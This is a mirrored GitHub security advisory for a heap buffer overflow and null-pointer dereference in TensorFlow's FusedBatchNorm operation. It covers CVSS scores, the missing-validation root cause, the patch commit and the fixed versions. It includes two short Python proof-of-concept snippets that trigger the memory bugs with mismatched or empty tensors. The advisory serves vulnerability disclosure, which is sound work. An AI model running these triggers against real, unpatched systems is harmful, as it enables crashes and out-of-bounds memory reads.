Lucene search

K
githubGitHub Advisory DatabaseGHSA-9XH4-23Q4-V6WR
HistoryMay 21, 2021 - 2:26 p.m.

Heap buffer overflow and undefined behavior in `FusedBatchNorm`

2021-05-2114:26:35
CWE-125
CWE-476
CWE-787
GitHub Advisory Database
github.com
29
tensorflow
vulnerability
buffer overflow
undefined behavior
patch
security guide
baidu x-team

CVSS2

4.6

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:P/I:P/A:P

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS

0.001

Percentile

17.8%

Impact

The implementation of tf.raw_ops.FusedBatchNorm is vulnerable to a heap buffer overflow:

import tensorflow as tf

x = tf.zeros([10, 10, 10, 6], dtype=tf.float32)
scale = tf.constant([0.0], shape=[1], dtype=tf.float32)
offset = tf.constant([0.0], shape=[1], dtype=tf.float32)
mean = tf.constant([0.0], shape=[1], dtype=tf.float32)
variance = tf.constant([0.0], shape=[1], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False
    
tf.raw_ops.FusedBatchNorm(
  x=x, scale=scale, offset=offset, mean=mean, variance=variance,
  epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,
  data_format=data_format, is_training=is_training)

If the tensors are empty, the same implementation can trigger undefined behavior by dereferencing null pointers:

import tensorflow as tf
import numpy as np

x = tf.zeros([10, 10, 10, 1], dtype=tf.float32)
scale = tf.constant([], shape=[0], dtype=tf.float32)
offset = tf.constant([], shape=[0], dtype=tf.float32)
mean = tf.constant([], shape=[0], dtype=tf.float32)
variance = tf.constant([], shape=[0], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False

tf.raw_ops.FusedBatchNorm(
  x=x, scale=scale, offset=offset, mean=mean, variance=variance, 
  epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,
  data_format=data_format, is_training=is_training)

The implementation fails to validate that scale, offset, mean and variance (the last two only when required) all have the same number of elements as the number of channels of x. This results in heap out of bounds reads when the buffers backing these tensors are indexed past their boundary.

If the tensors are empty, the validation mentioned in the above paragraph would also trigger and prevent the undefined behavior.

Patches

We have patched the issue in GitHub commit 6972f9dfe325636b3db4e0bc517ee22a159365c0.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Affected configurations

Vulners
Node
tensorflowgpuRange<2.4.2
OR
tensorflowgpuRange<2.3.3
OR
tensorflowgpuRange<2.2.3
OR
tensorflowgpuRange<2.1.4
OR
tensorflowcpuRange<2.4.2
OR
tensorflowcpuRange<2.3.3
OR
tensorflowcpuRange<2.2.3
OR
tensorflowcpuRange<2.1.4
OR
tensorflowtensorflowRange<2.4.2
OR
tensorflowtensorflowRange<2.3.3
OR
tensorflowtensorflowRange<2.2.3
OR
tensorflowtensorflowRange<2.1.4
VendorProductVersionCPE
tensorflowgpu*cpe:2.3:a:tensorflow:gpu:*:*:*:*:*:*:*:*
tensorflowcpu*cpe:2.3:a:tensorflow:cpu:*:*:*:*:*:*:*:*
tensorflowtensorflow*cpe:2.3:a:tensorflow:tensorflow:*:*:*:*:*:*:*:*

CVSS2

4.6

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:P/I:P/A:P

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS

0.001

Percentile

17.8%

Related for GHSA-9XH4-23Q4-V6WR